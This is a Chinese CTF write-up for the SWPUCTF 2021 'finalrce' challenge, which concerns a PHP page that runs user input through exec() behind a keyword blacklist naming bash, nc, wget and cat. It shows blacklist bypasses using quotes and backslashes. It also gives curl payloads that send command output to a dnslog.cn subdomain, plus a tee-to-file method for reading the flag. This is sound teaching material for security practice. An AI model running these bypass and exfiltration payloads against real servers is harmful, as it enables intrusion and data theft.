当前位置: 首页 > news >正文

[SWPUCTF 2021 新生赛]finalrce

[SWPUCTF 2021 新生赛]finalrce wp

注:本文参考了 NSSCTF Leaderchen 师傅的题解,并修补了其中些许不足。

此外,参考了 命令执行(RCE)面对各种过滤,骚姿势绕过总结

题目代码:

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{$url=$_GET['url'];if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)){echo "Sorry,you can't use this.";}else{echo "Can you see anything?";exec($url);}
} 

过滤了一堆字符。

这道题的 exec 函数理应返回执行结果的最后一行,但是却什么也不返回,所以需要一些其他的方法来看到命令执行的结果。

过滤关键字的绕过

首先我们知道关键字被过滤时可以使用以下绕过方式:

如 ls 被过滤,可以替换为

l''s
l\s 

等等。

但是由于 $* 等字符被过滤了,这里能用的恐怕只有前两种。

了解了这些之后来构造几种 payload 。

DNSlog 带外命令执行

DNS 的网站这里写一下:

http://www.dnslog.cn

http://ceye.io

临时使用的话推荐去第一个网站。

curl `l''s`.xf3njn.dnslog.cn

用反引号执行 ls 命令,执行的结果拼接到 xf3njn.dnslog.cn 域名上,然后访问,访问的日志可以在网站上看,就可以看到命令执行的结果。

在这里插入图片描述

ls 执行的结果是 index.php

这样的话我们直接查找根目录下包含 “f” 的文件:

curl `l\s /|grep 'f'`.xf3njn.dnslog.cn

返回结果:

在这里插入图片描述

找到了。

查看 flag 文件:

这里因为 “la” 也被过滤了,所以多加了一个斜杠。

curl `ca\t /flllll\aaaaaaggggggg`.xf3njn.dnslog.cn

在这里插入图片描述

返回结果中的大括号被去掉了,自己加上,另外把开头小写的 nssctf 改成大写就行了。

tee 关键字将结果保存到文件中

执行 ls 文件并将结果保存到当前目录的 1.txt 文件中:

l\s|tee 1.txt

执行这条命令后去访问:http://node4.anna.nssctf.cn:28616/1.txt 就可以看到结果了:

在这里插入图片描述

这里因为我之前执行过一次,所以多了一个 1.txt 文件。

同理可以查看 flag :

ca\t /flllll\aaaaaaggggggg|tee 2.txt

拿到 flag :

在这里插入图片描述

此外,还有 tac,head,tail 等命令也可以代替 cat 查看文件内容。

http://www.lryc.cn/news/268590.html

相关文章:

  • 如何底层调用最快地复制OPC数据到关系数据库
  • 接口测试工具——ApiFox使用初体验 postman导出和ApiFox导入
  • 搜维尔科技:经脉腧穴虚拟针灸VR虚拟教学平台AcuMap软件案例分享
  • Jenkins的shared library相关
  • 文件IO
  • 【日常聊聊】编程语言的未来:趋势、多样性、人工智能融合、教育与生态系统
  • 无需手动搜索!轻松创建IntelliJ IDEA快捷方式的Linux教程
  • 如何去掉微博水印?用它一键去除三秒出图
  • Golang 泛型实现原理
  • [玩转AIGC]LLaMA2之如何微调模型
  • 使用克魔助手进行iOS数据抓包和HTTP抓包的方法详解
  • 【递归 回溯】LeetCode-301. 删除无效的括号
  • C++ 基本的输入输出
  • vue3老项目如何引入vite
  • javaEE -19(9000 字 JavaScript入门 - 4)
  • 二叉树的非递归遍历|前中后序遍历
  • 开源minio-AWS-S3存储的部署及go操作详细
  • 【Web2D/3D】Canvas(第三篇)
  • 紫光展锐T820与飞桨完成I级兼容性测试 助推端侧AI融合创新
  • 3DV 2024 Oral | SlimmeRF:可动态压缩辐射场,实现模型大小和建模精度的灵活权衡
  • 【unity学习笔记】4.场景切换
  • LeetCode75| 滑动窗口
  • gulimall-002 分布式基础概念
  • K8s之声明式APIs
  • Hive执行计划
  • Leetcode—62.不同路径【中等】
  • 【汇编笔记】初识汇编-内存读写
  • Shell脚本通过渗透测试检测服务器安全!
  • 数据结构--查找
  • IntelliJ IDEA Apache Dubbo,IDEA 官方插件正式发布!